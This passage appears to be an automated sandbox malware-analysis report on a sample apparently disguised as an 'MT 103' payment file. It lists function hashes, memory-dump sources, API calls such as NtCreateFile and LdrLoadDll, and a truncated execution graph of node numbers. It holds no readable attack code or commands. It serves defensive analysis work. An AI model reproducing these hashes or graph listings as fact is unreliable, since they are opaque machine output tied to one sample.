                                                                                                                                                                                    • Instruction Fuzzy Hash: 161103B5800349DFDB10DF9AD588BDEBBF8FB48324F10885AE958A7210D375A944CFA5
                                                                                                                                                                                    Function 07567919 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47windowCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • PostMessageW.USER32(?,00000010,00000000,?), ref: 0756797D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MessagePost
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 410705778-28667382
                                                                                                                                                                                    • Opcode ID: 99e2e78965e03e849f24704070fde16c842cc9efa9a018758868b15d25796947
                                                                                                                                                                                    • Instruction ID: 0df30e6df3ea2910d07cc3a0007d50f5d7a122d77ea317ac2b4ef765a6e92de2
                                                                                                                                                                                    • Opcode Fuzzy Hash: 99e2e78965e03e849f24704070fde16c842cc9efa9a018758868b15d25796947
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9411F5B58003499FDB10DF9AD849BDEBBF8FB48324F10845AE558A3610D375A944CFA5
                                                                                                                                                                                    Function 0156AF98 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • GetModuleHandleW.KERNELBASE(00000000), ref: 0156AFFE
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: HandleModule
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 4139908857-28667382
                                                                                                                                                                                    • Opcode ID: 2106f0e5f1830318f1f1346e09c920ad93a2fa8f8bc00335801e7c4538696fc1
                                                                                                                                                                                    • Instruction ID: 01b4681cefc72ef0ad18f78f5176338ae1ab1a383473f957f1331ae83731d2be
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2106f0e5f1830318f1f1346e09c920ad93a2fa8f8bc00335801e7c4538696fc1
                                                                                                                                                                                    • Instruction Fuzzy Hash: D011E0B5D002498FDB14CF9AD444ADEFBF8FB88324F11841AD929A7210D375A545CFA5
                                                                                                                                                                                    Function 0106D4C4 Relevance: .1, Instructions: 75COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2089976321.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_106d000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 466467c5d0db0dffdddb4090cbbda0b3f2cc7b177508b21e1f7b5d68de559252
                                                                                                                                                                                    • Instruction ID: 998ebf4f67c204268e2212ad3f78d9d0759528f480b64de7ee230508cbbfba9f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 466467c5d0db0dffdddb4090cbbda0b3f2cc7b177508b21e1f7b5d68de559252
                                                                                                                                                                                    • Instruction Fuzzy Hash: A72125B1604240DFDB05DF58D9C0B2ABFA9FB88318F24C5A9E9890B656C336D456CBA1
                                                                                                                                                                                    Function 0106D3D8 Relevance: .1, Instructions: 75COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2089976321.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_106d000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 2ee0186521c1655977db176499d8f5f4b8241bf166d1778ad44f5138db16f107
                                                                                                                                                                                    • Instruction ID: 4ca97d04e8f583cb85793048934329371959b4ee2eb4f4e1355ddbb255732ce3
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2ee0186521c1655977db176499d8f5f4b8241bf166d1778ad44f5138db16f107
                                                                                                                                                                                    • Instruction Fuzzy Hash: E52148B1600244DFDB01DF48D9C0B5ABFA9FB88314F24C5ADE9890B246C736E816C7A1
                                                                                                                                                                                    Function 013CD01C Relevance: .1, Instructions: 72COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2090664573.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_13cd000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 60cea25e1672259fbc7e30a26c4f3449581042de546fbaf74b51ace31df0ae38
                                                                                                                                                                                    • Instruction ID: 42da0a5ca32ab922eb5a0f837f3c5ec0f21b75065c7fde5b681d0a84c2d942ad
                                                                                                                                                                                    • Opcode Fuzzy Hash: 60cea25e1672259fbc7e30a26c4f3449581042de546fbaf74b51ace31df0ae38
                                                                                                                                                                                    • Instruction Fuzzy Hash: C22100B1604204EFDB15DF58D9C0B26BBA5FB84718F24C57DE80A0B646C33AD807CBA1
                                                                                                                                                                                    Function 013CD1D4 Relevance: .1, Instructions: 72COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2090664573.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_13cd000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 9019be577728c993d0c8bc116b8d025b0d9227ebfd54033feed748bf6d983eda
                                                                                                                                                                                    • Instruction ID: c2b54278d49a5093df44cf938caef2344b887ff05173a9eb7fa8336b648c1d79
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9019be577728c993d0c8bc116b8d025b0d9227ebfd54033feed748bf6d983eda
                                                                                                                                                                                    • Instruction Fuzzy Hash: 582104B1504204EFDB05DF98D9C0B26BBA6FB84728F24C57DE9494B652C336D806CBA1
                                                                                                                                                                                    Function 013CD006 Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2090664573.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_13cd000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 334e64c30f5c5c8e05c3d804e774c0284a1237948a6cbe5f5018bb22d59387c1
                                                                                                                                                                                    • Instruction ID: 2b92f67f8500080ed80b82db3c1cae09afe872a5e7a6cc64de8d5e5433d4d10c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 334e64c30f5c5c8e05c3d804e774c0284a1237948a6cbe5f5018bb22d59387c1
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7B2192755083809FCB03CF58D994711BF71EB46214F28C5EAD8498F2A7C33A981ACBA2
                                                                                                                                                                                    Function 0106D3D3 Relevance: .1, Instructions: 56COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2089976321.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_106d000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
                                                                                                                                                                                    • Instruction ID: 7a47d1794fd2bf39f76f1a27409fc8922b433eb5b3d05198b2e17663d1941377
                                                                                                                                                                                    • Opcode Fuzzy Hash: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
                                                                                                                                                                                    • Instruction Fuzzy Hash: 98110372504240CFDB02CF44D5C4B56BFB1FB84324F24C2A9D9890B657C33AE85ACBA1
                                                                                                                                                                                    Function 0106D4BF Relevance: .1, Instructions: 56COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2089976321.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_106d000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
                                                                                                                                                                                    • Instruction ID: 4dad5ae33c003034c5b29e41a25d24dbe99e2a41da97e00991339edff6990459
                                                                                                                                                                                    • Opcode Fuzzy Hash: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
                                                                                                                                                                                    • Instruction Fuzzy Hash: F311D376904280CFDB16CF54D5C4B16BFB1FB84314F24C6A9D9890B657C336D45ACBA1
                                                                                                                                                                                    Function 013CD1CF Relevance: .1, Instructions: 53COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2090664573.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_13cd000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
                                                                                                                                                                                    • Instruction ID: 7736c7f24b2ca31bec2b755ba64119a4ede19af7d24b35cf42d4148846199674
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0011BE76504240DFDB02CF54D5C4B15BB72FB84628F24C6ADE8494B656C33AD80ACB91
                                                                                                                                                                                    Function 0106D745 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2089976321.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_106d000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: de70cfd2de498bad6e5b8d71fc09f563abc103435aaa9c36ffb49b3f1b54f61b
                                                                                                                                                                                    • Instruction ID: 75691dcec449485437b9dbc3b89391726e9a56f5d2983efe88efc4e69e1dafca
                                                                                                                                                                                    • Opcode Fuzzy Hash: de70cfd2de498bad6e5b8d71fc09f563abc103435aaa9c36ffb49b3f1b54f61b
                                                                                                                                                                                    • Instruction Fuzzy Hash: D001F7712043809AE7104E99DDC4B2ABFDCEF41330F18C55AED880A286E27D9840C7B2
                                                                                                                                                                                    Function 0106D744 Relevance: .0, Instructions: 36COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2089976321.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_106d000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 746e7dbe19d09c1bc3038151e2b15026718998d165ec2776c1636253826cc9dd
                                                                                                                                                                                    • Instruction ID: 006c516162ab7e426970b2ee81c51363d7573fc2d1c78ca640c4caf458e434ee
                                                                                                                                                                                    • Opcode Fuzzy Hash: 746e7dbe19d09c1bc3038151e2b15026718998d165ec2776c1636253826cc9dd
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3AF0C2715043809EE7108E1ADD88B66FFDCEB41234F18C45AED880B296D3799844CBB1

                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                    Function 07568F30 Relevance: 2.8, Strings: 2, Instructions: 298COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: PH]q$PH]q
                                                                                                                                                                                    • API String ID: 0-1166926398
                                                                                                                                                                                    • Opcode ID: 47aee308f47754ed9403fa8d89d02d03a41b19e55db5322841c5a4db25031fd4
                                                                                                                                                                                    • Instruction ID: 1f4fb7f59bb37ddb1985c7e57a39ec0c49f22ae48e813430b9d5d41208aeefb2
                                                                                                                                                                                    • Opcode Fuzzy Hash: 47aee308f47754ed9403fa8d89d02d03a41b19e55db5322841c5a4db25031fd4
                                                                                                                                                                                    • Instruction Fuzzy Hash: 71D1B6B4A00505CFDB18DF69C598AE9B7F2BF8D711F2580A9E405AB361DB31AD41CF60
                                                                                                                                                                                    Function 07563F20 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 299842940288d886bad4f0f1fa4cbea0ee483be5cb12c01d94f7f6085ea763cf
                                                                                                                                                                                    • Instruction ID: 7e52eb88ccb84861ebab90d056ec82e72c9e0e5440e4388ad5e80df40c2a2317
                                                                                                                                                                                    • Opcode Fuzzy Hash: 299842940288d886bad4f0f1fa4cbea0ee483be5cb12c01d94f7f6085ea763cf
                                                                                                                                                                                    • Instruction Fuzzy Hash: DBE1F6B4E102598FCB14DFA8C5849AEFBF6FF89304F24816AD814AB355D731A941CFA1
                                                                                                                                                                                    Function 07561E48 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 6157cb4505c8a05bed7dc4f45d92afd107d26ef33cf2c6318ae81ad1ebc5775e
                                                                                                                                                                                    • Instruction ID: d25dc6732a64952c2d2783430b436ae465ba2bdcc798462b9cbd8a15adc893b8
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6157cb4505c8a05bed7dc4f45d92afd107d26ef33cf2c6318ae81ad1ebc5775e
                                                                                                                                                                                    • Instruction Fuzzy Hash: B3E108B4E101198FCB14DFA9C5849AEFBB6FF89304F24C16AD814AB355D731A941CFA1
                                                                                                                                                                                    Function 07564430 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 6d943a08caf9844dca3e34933ac879f30d51d664a232369d491108546efc8cca
                                                                                                                                                                                    • Instruction ID: 5c1c38eeef9f63a4897d48b1330f8323d0905d9cda81db31dc6821615d37e145
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6d943a08caf9844dca3e34933ac879f30d51d664a232369d491108546efc8cca
                                                                                                                                                                                    • Instruction Fuzzy Hash: CBE1F7B4E101598FCB14DFA8C5849AEFBB6FF89304F24C16AD814AB355D730A942CF61
                                                                                                                                                                                    Function 07561A10 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 64e2bb5832bcf145b1f4c1eb9fa060513a86f16b2559d00c86a5f1493f0db0ce
                                                                                                                                                                                    • Instruction ID: c4e071222adde05076a3b28fa549b5ede55b02236921262d3de377456bf2e87c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 64e2bb5832bcf145b1f4c1eb9fa060513a86f16b2559d00c86a5f1493f0db0ce
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4AE105B4E006198FCB14DFA9C5949AEFBB6FF89304F24C16AD814AB355D730A941CFA1
                                                                                                                                                                                    Function 07562280 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 9d1b2a687a3db1fc8efff6851630fb5cbb0a59cfd21c2382918651ab8b91758f
                                                                                                                                                                                    • Instruction ID: 9304cbaf879a4afe0db09762215ad18981ab34d11f34d81430cac7b01a57aa88
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9d1b2a687a3db1fc8efff6851630fb5cbb0a59cfd21c2382918651ab8b91758f
                                                                                                                                                                                    • Instruction Fuzzy Hash: 27E118B4E002198FCB14DFA9C5949AEFBB6FF89305F24C16AD814AB355DB30A941CF61
                                                                                                                                                                                    Function 0156D5BC Relevance: .3, Instructions: 264COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 21cecb7f283b9b393a25bdc24aae743cacd87b478b0f1f3fb6d4a2c5d4c59ea7
                                                                                                                                                                                    • Instruction ID: 9095d61116656b05d454c7fed6b1ca41b9c793f3a156d78718e6480ad4c4b184
                                                                                                                                                                                    • Opcode Fuzzy Hash: 21cecb7f283b9b393a25bdc24aae743cacd87b478b0f1f3fb6d4a2c5d4c59ea7
                                                                                                                                                                                    • Instruction Fuzzy Hash: E8A16F32E0021ACFCF15DFB8D85099EBBBAFF85300B15456AE905AF265DB35E915CB80
                                                                                                                                                                                    Function 07562270 Relevance: .1, Instructions: 134COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: be65ec81232560ae2e7ac91eafac24cb716e6223632a484846953eece7e7e58b
                                                                                                                                                                                    • Instruction ID: c725eac71727dcb0de73e1cecb45abeaaf9bab07456bea1bfe192f7caf0a78d0
                                                                                                                                                                                    • Opcode Fuzzy Hash: be65ec81232560ae2e7ac91eafac24cb716e6223632a484846953eece7e7e58b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3F5118B4E102198FDB14DFA9C9845EEFBB6BF89304F24C16AD418A7315D7309942CFA1

                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                    Execution Coverage:1.4%
                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:2.7%
                                                                                                                                                                                    Signature Coverage:6.2%
                                                                                                                                                                                    Total number of Nodes:549
                                                                                                                                                                                    Total number of Limit Nodes:66
                                                                                                                                                                                    execution_graph 98872 41f0e0 98873 41f0eb 98872->98873 98875 41b940 98872->98875 98876 41b966 98875->98876 98883 409d40 98876->98883 98878 41b972 98879 41b993 98878->98879 98891 40c1c0 98878->98891 98879->98873 98881 41b985 98927 41a680 98881->98927 98930 409c90 98883->98930 98885 409d4d 98886 409d54 98885->98886 98942 409c30 98885->98942 98886->98878 98892 40c1e5 98891->98892 99350 40b1c0 98892->99350 98894 40c23c 99354 40ae40 98894->99354 98896 40c4b3 98896->98881 98897 40c262 98897->98896 99363 4143a0 98897->99363 98899 40c2a7 98899->98896 99366 408a60 98899->99366 98901 40c2eb 98901->98896 99373 41a4d0 98901->99373 98905 40c341 98906 40c348 98905->98906 99385 419fe0 98905->99385 98907 41bd90 2 API calls 98906->98907 98909 40c355 98907->98909 98909->98881 98911 40c392 98912 41bd90 2 API calls 98911->98912 98913 40c399 98912->98913 98913->98881 98914 40c3a2 98915 40f4a0 3 API calls 98914->98915 98916 40c416 98915->98916 98916->98906 98917 40c421 98916->98917 98918 41bd90 2 API calls 98917->98918 98919 40c445 98918->98919 99390 41a030 98919->99390 98922 419fe0 2 API calls 98923 40c480 98922->98923 98923->98896 99395 419df0 98923->99395 98926 41a680 2 API calls 98926->98896 98928 41af30 LdrLoadDll 98927->98928 98929 41a69f ExitProcess 98928->98929 98929->98879 98931 409ca3 98930->98931 98981 418b90 LdrLoadDll 98930->98981 98961 418a40 98931->98961 98934 409cb6 98934->98885 98935 409cac 98935->98934 98964 41b280 98935->98964 98937 409cf3 98937->98934 98975 409ab0 98937->98975 98939 409d13 98982 409620 LdrLoadDll 98939->98982 98941 409d25 98941->98885 98943 409c4a 98942->98943 98944 41b570 LdrLoadDll 98942->98944 99325 41b570 98943->99325 98944->98943 98947 41b570 LdrLoadDll 98948 409c71 98947->98948 98949 40f180 98948->98949 98950 40f199 98949->98950 99333 40b040 98950->99333 98952 40f1ac 98954 40f1bb 98952->98954 99345 41a1b0 98952->99345 98955 409d65 98954->98955 99337 41a7a0 98954->99337 98955->98878 98957 40f1d2 98958 40f1fd 98957->98958 99340 41a230 98957->99340 98959 41a460 2 API calls 98958->98959 98959->98955 98983 41a5d0 98961->98983 98965 41b299 98964->98965 98996 414a50 98965->98996 98967 41b2b1 98968 41b2ba 98967->98968 99035 41b0c0 98967->99035 98968->98937 98970 41b2ce 98970->98968 99053 419ed0 98970->99053 99303 407ea0 98975->99303 98977 409ad1 98977->98939 98978 409aca 98978->98977 99316 408160 98978->99316 98981->98931 98982->98941 98986 41af30 98983->98986 98985 418a55 98985->98935 98987 41af40 98986->98987 98988 41af62 98986->98988 98990 414e50 98987->98990 98988->98985 98991 414e6a 98990->98991 98992 414e5e 98990->98992 98991->98988 98992->98991 98995 4152d0 LdrLoadDll 98992->98995 98994 414fbc 98994->98988 98995->98994 98997 414d85 98996->98997 98998 414a64 98996->98998 98997->98967 98998->98997 99061 419c20 98998->99061 99001 414b90 99064 41a330 99001->99064 99002 414b73 99121 41a430 LdrLoadDll 99002->99121 99005 414b7d 99005->98967 99006 414bb7 99007 41bd90 2 API calls 99006->99007 99009 414bc3 99007->99009 99008 414d49 99011 41a460 2 API calls 99008->99011 99009->99005 99009->99008 99010 414d5f 99009->99010 99015 414c52 99009->99015 99130 414790 LdrLoadDll NtReadFile NtClose 99010->99130 99012 414d50 99011->99012 99012->98967 99014 414d72 99014->98967 99016 414cb9 99015->99016 99018 414c61 99015->99018 99016->99008 99017 414ccc 99016->99017 99123 41a2b0 99017->99123 99020 414c66 99018->99020 99021 414c7a 99018->99021 99122 414650 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 99020->99122 99022 414c7f 99021->99022 99027 414c97 99021->99027 99067 4146f0 99022->99067 99025 414c70 99025->98967 99027->99012 99079 414410 99027->99079 99029 414c8d 99029->98967 99031 414d2c 99127 41a460 99031->99127 99033 414caf 99033->98967 99034 414d38 99034->98967 99036 41b0d1 99035->99036 99037 41b0e3 99036->99037 99148 41bd10 99036->99148 99037->98970 99039 41b104 99151 414070 99039->99151 99041 41b150 99041->98970 99042 41b127 99042->99041 99043 414070 3 API calls 99042->99043 99044 41b149 99043->99044 99044->99041 99176 415390 99044->99176 99046 41b1da 99047 41b1ea 99046->99047 99270 41aed0 LdrLoadDll 99046->99270 99186 41ad40 99047->99186 99050 41b218 99265 419e90 99050->99265 99054 419eec 99053->99054 99055 41af30 LdrLoadDll 99053->99055 99297 12c2c0a 99054->99297 99055->99054 99056 419f07 99058 41bd90 99056->99058 99300 41a640 99058->99300 99060 41b329 99060->98937 99062 41af30 LdrLoadDll 99061->99062 99063 414b44 99062->99063 99063->99001 99063->99002 99063->99005 99065 41a34c NtCreateFile 99064->99065 99066 41af30 LdrLoadDll 99064->99066 99065->99006 99066->99065 99068 41470c 99067->99068 99069 41a2b0 LdrLoadDll 99068->99069 99070 41472d 99069->99070 99071 414734 99070->99071 99072 414748 99070->99072 99074 41a460 2 API calls 99071->99074 99073 41a460 2 API calls 99072->99073 99075 414751 99073->99075 99076 41473d 99074->99076 99131 41bfa0 LdrLoadDll RtlAllocateHeap 99075->99131 99076->99029 99078 41475c 99078->99029 99080 41445b 99079->99080 99081 41448e 99079->99081 99083 41a2b0 LdrLoadDll 99080->99083 99082 4145d9 99081->99082 99086 4144aa 99081->99086 99084 41a2b0 LdrLoadDll 99082->99084 99085 414476 99083->99085 99091 4145f4 99084->99091 99087 41a460 2 API calls 99085->99087 99088 41a2b0 LdrLoadDll 99086->99088 99089 41447f 99087->99089 99090 